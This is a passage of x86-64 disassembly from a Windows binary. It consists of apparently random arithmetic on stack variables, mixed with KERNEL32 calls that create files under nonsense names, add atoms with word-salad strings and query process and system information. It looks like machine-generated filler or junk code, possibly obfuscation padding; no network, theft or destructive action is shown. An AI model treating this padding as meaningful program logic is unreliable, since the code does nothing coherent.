mov qword [rsp + 0x9b30], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9478], rax
mov rax, qword [rsp + 0x8cd0]
mov ecx, dword [rsp + 0x44c4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4378], eax
movzx eax, word [rsp + 0xc68]
mov word [rsp + 0xce8], ax
mov rax, qword [0x1401e7450]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9000]
movzx ecx, word [rcx]
sub eax, ecx
mov word [str.__f_n_], ax
movsx eax, word [rsp + 0xc90]
mov rcx, qword [rsp + 0x99d8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb98], ax
movzx eax, byte [rsp + 0x58]
mov byte [rsp + 0x9d], al
mov rcx, qword [rsp + 0x9970]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4238], eax
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x98a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8d], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov rax, qword [rsp + 0x91f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x89]
add eax, ecx
mov rcx, qword [rsp + 0x95d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9348]
mov rax, qword [rax]
mov qword [rsp + 0x9b38], rax
mov rax, qword [rsp + 0x95f0]
mov ecx, dword [rsp + 0x448c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9498]
mov dword [rcx], eax
lea rax, [rsp + 0x4378]
mov qword [rsp + 0x9b40], rax
mov rax, qword [0x1401e7420]
movzx ecx, al
mov rax, qword [rsp + 0x9858]
sar rax, cl
mov qword [rsp + 0x97d0], rax
lea rax, [rsp + 0x8a]
mov qword [0x1401e7550], rax
movsx eax, word [rsp + 0xbf4]
movsx ecx, word [rsp + 0xcdc]
shl eax, cl
mov rcx, qword [rsp + 0x9a50]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0x9b48], rax
mov rax, qword [rsp + 0x9250]
movzx eax, word [rax]
mov word [rsp + 0xcec], ax
mov rax, qword [0x1401e7518]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x93d8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x9d], al
lea rax, [rsp + 0xb68]
mov qword [rsp + 0x9b50], rax
mov rax, qword [rsp + 0x8c78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4384]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4270], eax
mov rax, qword [rsp + 0x92f8]
mov eax, dword [rax]
imul eax, dword [rsp + 0x44c8]
mov rcx, qword [rsp + 0x9088]
mov dword [rcx], eax
lea rax, [rsp + 0x8c98]
mov qword [rsp + 0x9b58], rax
mov rax, qword [rsp + 0x9348]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9560], rax
mov rax, qword [rsp + 0x94f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9320]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e602c], ax
lea rax, [rsp + 0xc60]
mov qword [rsp + 0x9b60], rax
mov rax, qword [rsp + 0x9988]
movsx eax, byte [rax]
mov rcx, qword [0x1401e7550]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x8f], al
lea rax, [rsp + 0x8d]
mov qword [rsp + 0x9b68], rax
mov rax, qword [rsp + 0x97b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x92]
sub eax, ecx
mov rcx, qword [rsp + 0x99c8]
mov byte [rcx], al
mov rax, qword [0x1401e7420]
mov rcx, qword [rsp + 0x9318]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8dd8], rax
mov rax, qword [rsp + 0x8f68]
mov qword [rsp + 0x9b70], rax
mov rax, qword [rsp + 0x90a0]
mov ecx, dword [rsp + 0x43cc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x448c], eax
mov eax, dword [0x1401e6018]
mov dword [rsp + 0x4524], eax
mov rax, qword [rsp + 0x93f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9b50]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e74b0], ax
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [rsp + 0x6d]
and eax, ecx
mov byte [rsp + 0x77], al
mov rax, qword [rsp + 0x94f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8c40]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc5c], ax
lea rax, [rsp + 0xb64]
mov qword [rsp + 0x9b78], rax
lea rcx, [rsp + 0x29ea0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4308], eax
movzx eax, byte [rsp + 0x58]
movzx ecx, byte [rsp + 0x76]
sar eax, cl
mov rcx, qword [rsp + 0x99a0]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x447c], eax
lea rax, [0x1401e741c]
mov qword [rsp + 0x9b80], rax
mov rax, qword [rsp + 0x9518]
mov rcx, qword [rsp + 0x9418]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9128], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9b88], rax
mov rax, qword [rsp + 0x93b0]
movzx ecx, al
mov rax, qword [rsp + 0x9b38]
shl rax, cl
mov rcx, qword [rsp + 0x9098]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov rax, qword [rsp + 0x9b40]
mov eax, dword [rax]
mov dword [rsp + 0x4528], eax
movsx eax, byte [rsp + 0x6d]
mov rcx, qword [rsp + 0x9af0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401e603b], al
lea rdx, [rsp + 0x28110]
mov rcx, qword [rsp + 0x9380]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x440c], eax
mov rax, qword [rsp + 0x9060]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc58]
add eax, ecx
mov word [rsp + 0xc1c], ax
mov rax, qword [rsp + 0x9930]
movzx eax, byte [rax]
mov byte [rsp + 0x9e], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.C:_reputable_acknowledged
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9b90], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x9a68], rax
movsx eax, word [rsp + 0xcd4]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9a50]
mov word [rcx], ax
movzx ecx, word [rsp + 0xb7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc54], ax
mov rax, qword [rsp + 0x99d8]
movsx eax, word [rax]
movsx ecx, word [0x1401e603c]
sub eax, ecx
mov word [rsp + 0xcbc], ax
mov eax, dword [rsp + 0x4270]
mov dword [rsp + 0x452c], eax
mov rcx, qword [rsp + 0x9220]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4530], eax
mov rax, qword [rsp + 0x8cc0]
mov rcx, qword [rsp + 0x92d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9128], rax
mov eax, dword [rsp + 0x43cc]
mov dword [rsp + 0x4534], eax
mov rax, qword [rsp + 0x9348]
mov rcx, qword [rsp + 0x9370]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9b30], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
lea rax, [rsp + 0xc70]
mov qword [0x1401e7558], rax
lea rcx, str.tan_Rancid_Saddlers_Abstracts
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xc94], ax
mov rax, qword [rsp + 0x97f8]
movzx eax, byte [rax]
mov byte [rsp + 0x9f], al
movsx eax, word [rsp + 0xbc8]
movsx ecx, word [rsp + 0xbdc]
add eax, ecx
mov word [rsp + 0xbf4], ax
mov rax, qword [rsp + 0x99b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9888]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9ae0]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4410], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9640], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.C:GrimmerTransparentjogsBorderlineStoppage
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9b98], rax
mov rax, qword [rsp + 0x9b60]
movzx eax, word [rax]
mov word [rsp + 0xcf0], ax
mov rax, qword [rsp + 0x8cd0]
mov rcx, qword [rsp + 0x9a78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x41d0], eax
mov eax, dword [rsp + 0x43ac]
mov dword [rsp + 0x4538], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x9b10], rax
mov rax, qword [rsp + 0x9690]
mov rcx, qword [rsp + 0x9670]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9948]
mov qword [rcx], rax
mov rax, qword [rsp + 0x93e0]
mov rcx, qword [rsp + 0x9638]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9828], rax
mov rax, qword [rsp + 0x98b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x64]
or eax, ecx
mov rcx, qword [0x1401e7550]
mov byte [rcx], al
lea rcx, [rsp + 0x268d8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x9250]
movzx eax, word [rax]
mov word [rsp + 0xcf4], ax
movsx eax, byte [0x1401e602b]
mov rcx, qword [rsp + 0x9918]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x98b0]
mov byte [rcx], al
movzx eax, word [rsp + 0xc20]
mov word [rsp + 0xcf8], ax
mov rax, qword [rsp + 0x90c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x97e0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x8c], al
mov rax, qword [rsp + 0x8f90]
mov eax, dword [rax]
mov ecx, dword [section..data]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4534], eax
lea rax, [rsp + 0x9258]
mov qword [rsp + 0x9ba0], rax
mov r9d, 1
lea r8, [rsp + 0x8e48]
mov rdx, qword [rsp + 0x95a0]
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x453c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov eax, dword [rsp + 0x452c]
mov ecx, dword [rsp + 0x4428]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4370], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9640], rax
lea rcx, [rsp + 0x26878]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9ba8], rax
mov rax, qword [rsp + 0x9b38]
mov qword [rsp + 0x9bb0], rax
mov rax, qword [rsp + 0x97b0]
movzx eax, byte [rax]
mov byte [0x1401e743e], al
movzx eax, word [rsp + 0xbe0]
mov rcx, qword [rsp + 0x9388]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x91e0]
mov word [rcx], ax
lea rcx, [rsp + 0x2a120]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4500], eax
lea rax, [0x1401e601c]
mov qword [rsp + 0x9bb8], rax
mov edx, 0x31c65b
mov rcx, qword [rsp + 0x9290]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4354], eax
movsx eax, byte [rsp + 0x54]
movsx ecx, byte [rsp + 0x99]
and eax, ecx
mov byte [rsp + 0x7f], al
movsx eax, word [rsp + 0xcdc]
mov rcx, qword [rsp + 0x93a0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9760]
mov word [rcx], ax
lea rax, [rsp + 0x4204]
mov qword [rsp + 0x9bc0], rax
mov rax, qword [rsp + 0x9780]
mov rcx, qword [rsp + 0x8c80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9088]
mov dword [rcx], eax
lea rax, [rsp + 0x9268]
mov qword [rsp + 0x9bc8], rax
mov rax, qword [rsp + 0x95e0]
mov rcx, qword [0x1401e6020]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x93d0], rax
lea rcx, str.wiggling_Provisioned_Commemorative_metronome_Propionate
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xcfc], ax
mov rax, qword [rsp + 0x9918]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5b]
sub eax, ecx
mov byte [rsp + 0x5e], al
movsx eax, word [rsp + 0xb8c]
mov rcx, qword [rsp + 0x8e78]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e7510]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6c]
mov byte [rsp + 0xa0], al
mov rax, qword [rsp + 0x92a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8c40]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9080]
mov word [rcx], ax
mov r9d, 1
lea r8, [rsp + 0x8c48]
mov rdx, qword [rsp + 0x8db0]
mov rcx, qword [rsp + 0x9398]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4360], eax
mov rax, qword [rsp + 0x9750]
movzx eax, word [rax]
mov word [rsp + 0xd00], ax
mov rcx, qword [rsp + 0x9218]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4540], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rax, qword [rsp + 0x9140]
mov rcx, qword [rsp + 0x98b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x44c0], eax
mov rcx, qword [rsp + 0x9940]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x95e0]
mov rcx, qword [rsp + 0x93d0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9a38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9160]
mov qword [rsp + 0x9bd0], rax
mov rax, qword [rsp + 0x91a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4464]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x446c], eax
mov rax, qword [rsp + 0x9028]
movzx eax, byte [rax]
mov byte [rsp + 0xa1], al
mov rax, qword [rsp + 0x9a70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcec]
xor eax, ecx
mov rcx, qword [0x1401e74b8]
mov word [rcx], ax
mov rax, qword [0x1401e7488]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9b60]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9738]
mov word [rcx], ax
movsx eax, word [rsp + 0xcbc]
mov rcx, qword [rsp + 0x92c8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc6c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x42f4], eax
mov rax, qword [rsp + 0x98b0]
movzx eax, byte [rax]
mov byte [rsp + 0xa2], al
mov rax, qword [rsp + 0x9438]
mov eax, dword [rax]
mov ecx, dword [0x1401e741c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x44d0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x43b0]
mov dword [rsp + 0x4544], eax
mov edx, 0x2b1
mov rcx, qword [rsp + 0x9158]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x42e8], eax
mov rax, qword [rsp + 0x9090]
mov rcx, qword [rsp + 0x9560]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x94e0]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x43e4], eax
mov rax, qword [rsp + 0x9050]
mov qword [rsp + 0x9bd8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x8ce0], rax
mov rax, qword [rsp + 0x92c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xce0]
add eax, ecx
mov word [rsp + 0xb98], ax
mov rax, qword [rsp + 0x93a8]
movzx eax, byte [rax]
mov rcx, qword [0x1401e74d8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e603e], al
mov rax, qword [rsp + 0x9818]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9440]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9b20]
mov word [rcx], ax
mov rax, qword [rsp + 0x99c8]
movzx eax, byte [rax]
mov byte [rsp + 0xa3], al
mov rax, qword [rsp + 0x9118]
movsx eax, byte [rax]
mov rcx, qword [0x1401e7550]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9b68]
mov byte [rcx], al
lea rax, [rsp + 0x97c0]
mov qword [rsp + 0x9be0], rax
mov rax, qword [rsp + 0x9a30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4244], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0x9be8], rax
mov rax, qword [rsp + 0x9850]
mov rcx, qword [rsp + 0x8c20]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9098]
mov qword [rcx], rax
lea rax, [rsp + 0x44a8]
mov qword [rsp + 0x9bf0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0x9728]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7d]
add eax, ecx
mov byte [rsp + 0x9b], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
movsx eax, byte [0x1401e7419]
movsx ecx, byte [rsp + 0x80]
or eax, ecx
mov byte [0x1401e741b], al
mov rax, qword [rsp + 0x94b0]
movzx eax, byte [rax]
mov byte [rsp + 0xa4], al
mov rax, qword [rsp + 0x9660]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9b20]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xca0], ax
mov rax, qword [rsp + 0x9a50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc3c]
shl eax, cl
mov rcx, qword [rsp + 0x8eb8]
mov word [rcx], ax
lea rax, [rsp + 0x99]
mov qword [rsp + 0x9bf8], rax
mov eax, dword [rsp + 0x4418]
mov ecx, dword [rsp + 0x448c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x44a8], eax
mov rcx, qword [rsp + 0x9238]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x44d4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 2
xor r8d, r8d
mov edx, 0xecac
mov rcx, qword [rsp + 0x9260]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4374], eax
lea rax, [rsp + 0x4214]
mov qword [rsp + 0x9c00], rax
mov rax, qword [rsp + 0x9408]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9998]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9538]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9bb0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8cc8]
mov qword [rcx], rax
movzx eax, word [0x1401e604c]
mov rcx, qword [rsp + 0x9b20]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e6078], ax
movzx eax, word [rsp + 0xb68]
mov word [rsp + 0xd04], ax
movzx eax, byte [rsp + 0x65]
movzx ecx, byte [rsp + 0x98]
sub eax, ecx
mov byte [rsp + 0x7c], al
movzx eax, word [rsp + 0xbd0]
mov word [rsp + 0xd08], ax
mov rax, qword [rsp + 0x9770]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8c]
add eax, ecx
mov byte [rsp + 0x62], al
lea rax, [rsp + 0x44c8]
mov qword [rsp + 0x9c08], rax
mov rax, qword [rsp + 0x9018]
mov rcx, qword [rsp + 0x8fc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9a20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9850]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9590]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9168], rax
lea rax, [rsp + 0x8dd8]
mov qword [rsp + 0x9c10], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x11a4
mov r8d, 0xcc7
mov edx, 0x29
mov rcx, qword [rsp + 0x9290]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x42ec], eax
movsx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x96e8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e7419], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x9c18], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9640], rax
movsx eax, word [rsp + 0xba8]
movsx ecx, word [rsp + 0xc20]
add eax, ecx
mov rcx, qword [rsp + 0x92c8]
mov word [rcx], ax
lea rax, [rsp + 0xc0c]
mov qword [rsp + 0x9c20], rax
mov rax, qword [rsp + 0x8ca0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x94b0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9a98]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov rax, qword [rsp + 0x93f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8e78]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9750]
mov word [rcx], ax
mov rax, qword [rsp + 0x90a0]
mov eax, dword [rax]
mov dword [rsp + 0x4548], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x3c73
mov rcx, qword [rsp + 0x9238]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x42f4], eax
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x454c], eax
mov rax, qword [rsp + 0x8cc8]
mov rcx, qword [rsp + 0x90c0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x97b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x90d0]
mov rax, qword [rax]
mov qword [rsp + 0x9c28], rax
mov rax, qword [rsp + 0x9b00]
mov ecx, dword [0x1401e6018]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9130]
mov dword [rcx], eax
movzx eax, word [rsp + 0xc84]
mov word [0x1401e7560], ax
movsx eax, byte [rsp + 0x87]
movsx ecx, byte [rsp + 0xa4]
shl eax, cl
mov rcx, qword [rsp + 0x9ae0]
mov byte [rcx], al
lea rax, [rsp + 0xcdc]
mov qword [rsp + 0x9c30], rax
mov rax, qword [0x1401e74d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9618]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x53], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
lea rax, [rsp + 0x51]
mov qword [rsp + 0x9c38], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4430], eax
mov rax, qword [rsp + 0x9c28]
mov rcx, qword [rsp + 0x9188]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9418], rax
lea rdx, [rsp + 0x433c]
mov rcx, qword [rsp + 0x9260]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4550], eax
mov eax, dword [rsp + 0x4388]
mov dword [rsp + 0x4554], eax
mov rax, qword [rsp + 0x9a90]
mov rcx, qword [rsp + 0x9498]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9710]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9348]
mov rcx, qword [rsp + 0x90e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8c18], rax
movsx eax, word [rsp + 0xba0]
movsx ecx, word [rsp + 0xc98]
add eax, ecx
mov word [0x1401e6050], ax
mov rax, qword [rsp + 0x9c20]
movzx eax, word [rax]
mov word [rsp + 0xd0c], ax
mov rax, qword [rsp + 0x90c8]
movzx eax, byte [rax]
mov rcx, qword [0x1401e7518]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x53], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rcx, qword [rsp + 0x91e8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x8a]
mov qword [rsp + 0x9c40], rax
movsx eax, byte [rsp + 0x8e]
movsx ecx, byte [rsp + 0x52]
and eax, ecx
mov rcx, qword [rsp + 0x9918]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c80]
mov rcx, qword [rsp + 0x90a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x446c], eax
mov rax, qword [rsp + 0x8f88]
mov rax, qword [rax]
mov qword [rsp + 0x9c48], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov rax, qword [rsp + 0x9b30]
mov rcx, qword [rsp + 0x8c18]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ab8], rax
lea rax, [rsp + 0x4428]
mov qword [rsp + 0x9c50], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.C:_reincarnatingCheetahensconce
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9c58], rax
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x41b4], eax
lea rdx, [rsp + 0x9c60]
mov rcx, qword [rsp + 0x9410]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4308], eax
movzx eax, byte [rsp + 0x72]
movzx ecx, byte [rsp + 0x5d]
sub eax, ecx
mov byte [0x1401e603f], al
mov rax, qword [rsp + 0x92a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xca4]
shl eax, cl
mov word [rsp + 0xc2c], ax
mov rax, qword [rsp + 0x8eb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd04]
xor eax, ecx
mov rcx, qword [rsp + 0x90f8]
mov word [rcx], ax
movzx ecx, word [rsp + 0xbec]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb80], ax
mov rax, qword [rsp + 0x9440]
movzx eax, word [rax]
mov word [rsp + 0xd10], ax
mov ecx, DrawInsert
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x44a0], eax
mov rax, qword [rsp + 0x99d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xce0]
or eax, ecx
mov rcx, qword [rsp + 0x99d8]
mov word [rcx], ax
lea rax, [rsp + 0x96d8]
mov qword [rsp + 0x9c68], rax
mov eax, dword [rsp + 0x43b4]
mov rcx, qword [rsp + 0x9428]
mov qword [rsp + 0x9c70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9c70]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x9588]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9470]
mov rcx, qword [rsp + 0x9578]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9c28], rax
lea rax, section..data
mov qword [rsp + 0x9c78], rax
mov rax, qword [rsp + 0x9618]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9e]
add eax, ecx
mov rcx, qword [0x1401e7538]
